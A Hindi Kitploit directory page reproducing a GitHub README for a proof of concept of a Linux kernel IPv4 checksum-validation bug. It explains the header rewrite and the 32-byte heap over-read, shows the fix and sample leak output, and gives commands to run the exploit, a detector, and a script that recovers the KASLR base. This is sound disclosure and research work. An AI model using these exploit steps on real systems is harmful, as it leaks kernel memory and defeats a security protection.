Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-99999-pwnescape — Linux IPv4 csum_start सत्यापन बग (CVE-2026-99999) का पुनरुत्पादन और विश्लेषण: हेडर पुनर्लेखन, 32-बाइट हीप प्रकटीकरण, लीक ऑरेकल और KASLR पराजय। | Kitploit
उपकरण/GitHubGitHub/gandli/cve-2026-99999-pwnescape
मेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणनेटवर्क सुरक्षापेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण
GitHubgandli/cve-2026-99999-pwnescape

CVE-2026-99999-pwnescape

Linux IPv4 csum_start सत्यापन बग (CVE-2026-99999) का पुनरुत्पादन और विश्लेषण: हेडर पुनर्लेखन, 32-बाइट हीप प्रकटीकरण, लीक ऑरेकल और KASLR पराजय।

रिपॉजिटरी देखें
2231 महीना पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2026-99999 (PwnEscape): एक विलंबित चेकसम लेखन उस IPv4 हेडर को फिर से लिखता है जिसे कर्नेल पहले ही पार्स कर चुका है

English · 简体中文

Linux IPv4 csum_start सत्यापन बग का पुनरुत्पादन, जिसे 6785011f8b16 ("ipv4: validate checksum_start before completing checksum") द्वारा ठीक किया गया। गेस्ट VM के भीतर कोड निष्पादन प्राप्त होने पर, एक तैयार TAP पर एक अपरिविलेज्ड प्रक्रिया उस हेडर को फिर से लिखती है जिसे कर्नेल पहले ही पार्स कर चुका है, और फिर पैकेट के लीनियर डेटा से 32 बाइट आगे पढ़ती है।

पूर्वशर्तगेस्ट VM के भीतर कोड निष्पादन — रिमोट नहीं, प्री-ऑथ नहीं
पुनरुत्पादित6.18.54.1-microsoft-standard-WSL2 पर
प्रभावित कर्नेलअपने ब्रांच फिक्स से नीचे का प्रत्येक रिलीज़ — KERNELS.md
इसमें ठीक किया गया6.18.57 · 6.12.113 · 6.6.159 · 6.1.190 · 5.15.223 · 5.10.272 · 7.2.11
CVSS 3.19.3 — AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
अपस्ट्रीम फिक्स6785011f8b16abf40b1e9d8b2e332232b3e68822 (Michael S. Tsirkin)
रिपोर्ट किया गयाPaulos Yibelo (pwn.ai) द्वारा
प्रीबिल्टv1.0.0 स्टैटिक बाइनरीज़

प्रमाण

$ python3 poc/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
[leak] head=8 rest=400 linear=28B copy=60B overrun=32B adj=0x24d6 spray=32
[leak] 3 output fragment(s)
  frag 0: first=0x4f ihl=60B tot_len=196
    options[40]: a5a5a5a5a5a5a5a50000000000000000000000000000000000000000000000a9cb439e88ffff0000
    past linear head: 32B, 7 nonzero
[leak] OK: 32 bytes copied past skb_headlen() into IPv4 options

पहला बाइट 0x4f है, 0x45 के बजाय — संस्करण 4, हेडर की लंबाई 15 शब्द 5 के बजाय। आठ a5 बाइट्स वह मार्कर हैं जो इस रीप्रोड्यूसर ने फ्रैगमेंट में लिखे थे; उनके बाद का सब कुछ पैकेट का हिस्सा नहीं है। a9 cb 43 9e 88 ff ff को 0xffff889e43cba9 के रूप में पढ़ा जाता है, जो एक कर्नेल डायरेक्ट-मैप पता है।

तंत्र

तीन चरण: बाइट 22 पर csum_start के साथ एक फ्रेम इंजेक्ट करें, दो फ्रैगमेंट को 28-बाइट लीनियर हेड में पुनःसंयोजित करें, फिर 60-बाइट हेडर कॉपी करें और उससे 32 बाइट आगे पढ़ें

skb_checksum_help() चेकसम मेटाडेटा को एक राइट में बदल देता है:

write address = skb->head + csum_start + csum_offset

इससे पहले कि कोई भी सुधार यह जाँचता कि csum_start IPv4 हेडर के बाद स्थित है। प्रवेश जाँच परिवहन ऑफ़सेट की तुलना वर्तमान skb->data से मापी गई न्यूनतम हेडर लंबाई से करती है — जो कि एक फ़्रेम-सापेक्ष निर्देशांक है:

/* include/linux/virtio_net.h, __virtio_net_hdr_to_skb() */
if (!skb_partial_csum_set(skb, start, off))
        return -EINVAL;
if (skb_transport_offset(skb) < nh_min_len)   /* 20 bytes */
        return -EINVAL;

[ eth 14 ][ vlan 4 ][ vlan 4 ][ ipv4 ... ] के एक फ्रेम के लिए, csum_start = 22 देने पर skb_transport_offset() == 22 >= 20 होता है, इसलिए मेटाडेटा स्वीकार कर लिया जाता है, जबकि नेटवर्क हेडर से वास्तविक दूरी 0 है। रिसीव पथ में दोनों VLAN टैग हटा दिए जाते हैं, इसलिए फ्रेम-सापेक्ष निर्देशांक L3 तक बना रहता है और स्थगित राइट version/ihl पर पड़ता है।

क्रम दूसरा आधा हिस्सा है। ip_do_fragment() ने iph->ihl पढ़ने से पहले लंबित चेकसम पूरा कर लिया था:

/* net/ipv4/ip_output.c, pre-fix */
if (skb->ip_summed == CHECKSUM_PARTIAL && (err = skb_checksum_help(skb)))
        goto fail;

iph = ip_hdr(skb);
...
hlen = iph->ihl * 4;          /* now 60, not 20 */

हेडर को 20 बाइट्स के रूप में मान्य किया गया था; उपभोक्ता उसी मेमोरी से 15 शब्द पढ़ता है। skb_checksum_help() दोषी नहीं है — मेटाडेटा को उस पैकेट से भिन्न पैकेट का वर्णन करने की अनुमति दी गई थी जो वास्तव में मौजूद है।

समाधान एक नेटवर्क-सापेक्ष सीमा जोड़ता है और प्रत्येक पूर्णता स्थल से पहले उसे कॉल करता है:

static inline int ip_check_csum_start(const struct sk_buff *skb)
{
        if (unlikely(skb->csum_start < skb->network_header + ip_hdrlen(skb)))
                return -EINVAL;
        return 0;
}

C = csum_start, N = network_header, H = ip_hdrlen और O >= 0 के साथ, C >= N + H की आवश्यकता का अर्थ है कि लेखन C + O अब हेडर तक नहीं पहुँच सकता।

त्वरित शुरुआत

कमजोर कर्नेल पर विशेषाधिकार प्राप्त कंटेनर (कर्नेल ही मायने रखता है):

docker run -d --name pwnesc --privileged debian:12-slim sleep infinity
docker exec pwnesc apt-get update -qq
docker exec pwnesc apt-get install -y -qq iproute2 nftables python3
docker cp lab/setup.sh pwnesc:/root/setup.sh
docker cp poc/pwnescape.py pwnesc:/root/pwnescape.py
docker exec pwnesc sh /root/setup.sh

# header rewrite only
docker exec pwnesc python3 /root/pwnescape.py --only-verify

# 32-byte disclosure past the linear head
docker exec pwnesc python3 /root/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee

बेयर-मेटल टेस्ट होस्ट या VM पर: sudo sh lab/setup.sh, फिर उस नेटवर्क नेमस्पेस में root के रूप में वही कमांड चलाएँ। इसके लिए /dev/net/tun, nf_conntrack, nf_defrag_ipv4, ip और nft आवश्यक हैं।

लैब

lab/setup.sh इंजेक्शन के लिए एक TAP और एग्रेस के लिए एक veth पेयर बनाता है:

              inject                       forward + defrag          egress
  userland ──────────► pwntap 10.0.0.1/24 ─────────────────► pwnv0 10.99.0.1/24
  (virtio_net_hdr,       |                  conntrack defrag        MTU 200
   csum_start=22)        |                  nft prerouting -450         │
                         └── two fragments reassembled ────────────────┤
                             into a 28-byte linear head                ▼
                                                                     pwnv1
                                                                  (capture)

nft ct नियम nf_defrag_ipv4 को रजिस्टर करता है, इसलिए दोनों फ़्रैगमेंट्स को फ़ॉरवर्डिंग पाथ द्वारा दोबारा फ़्रैगमेंट करने से पहले पुनः संयोजित (reassemble) किया जाता है। pwnv1 पर वापस लूप होने वाला कोई भी ट्रैफ़िक ड्रॉप कर दिया जाता है। lab/teardown.sh यह सब हटा देता है।

संख्याओं का अर्थ

offset-0 फ़्रैगमेंट 8 बाइट्स ले जाता है, इसलिए पुनः संयोजन के बाद तार्किक रैखिक हेड 20 + 8 = 28 बाइट्स होता है जबकि फ़्रैगमेंटर ihl * 4 = 60 कॉपी करता है:

[ 20 header ][ 8 payload ] | 32 bytes that are not part of the packet
                            └─ copied into the fragments' IPv4 options

overrun = 60 - (20 + head), इसलिए --head 40 नियंत्रण स्थिति है (कोई भी बाइट सीमा पार नहीं करती) और --head 8 32-बाइट डिस्क्लोज़र देता है।

slab पथ पर tail को CONFIG_INIT_ON_ALLOC_DEFAULT_ON द्वारा शून्य किया जाता है और लीक 00 के रूप में पढ़ा जाता है। --page skb head को एक पुनर्चक्रित page_frag पर ले जाता है, जहाँ tail अभी भी वही रखता है जो पेज में पहले था।

डिटेक्शन और शोषण

python3 exp/probe.py --passive        # version verdict, no packets
python3 exp/probe.py --active         # A/B behavioural verdict, leaks nothing
python3 exp/leak.py --rounds 24       # repeatable 32-byte disclosure + physmap KASLR base

probe.py एक नियंत्रण डेटाग्राम जिसमें सुगठित चेकसम मेटाडेटा है, की तुलना उस डेटाग्राम से करता है जिसका csum_start IPv4 हेडर पर स्थित है: हेडर पुनः लिखा गया → भेद्य, परीक्षण गार्ड द्वारा छोड़ा गया → पैच किया गया, कुछ भी कैप्चर नहीं हुआ → लैब समस्या। leak.py ओवर-रीड को दोहराता है, विहित कर्नेल पॉइंटर्स निकालता है और फिज़मैप KASLR आधार प्राप्त करता है।

टूल डाउनलोड करें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    837
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    536
  • 3

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    424
  • 4

    redforge

    cybersecurity91/redforge

    ब्राउज़र-साइड रेड टीम टूलकिट, जिसमें रेकॉन, पेलोड जनरेशन, क्रेडेंशियल हमलों, क्रिप्टो, एन्कोडिंग और एंगेजमेंट रिपोर्टिंग के लिए 102 ऑफ़लाइन टूल्स हैं।

    355
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    294
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI-मूल साइबरसुरक्षा के लिए कार्रवाई की प्रणाली—जहाँ इरादा नियंत्रित निष्पादन बन जाता है, साक्ष्य परिचालन स्मृति बन जाता है, और हर ऑपरेशन अगले को बेहतर बनाता है।

    276

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →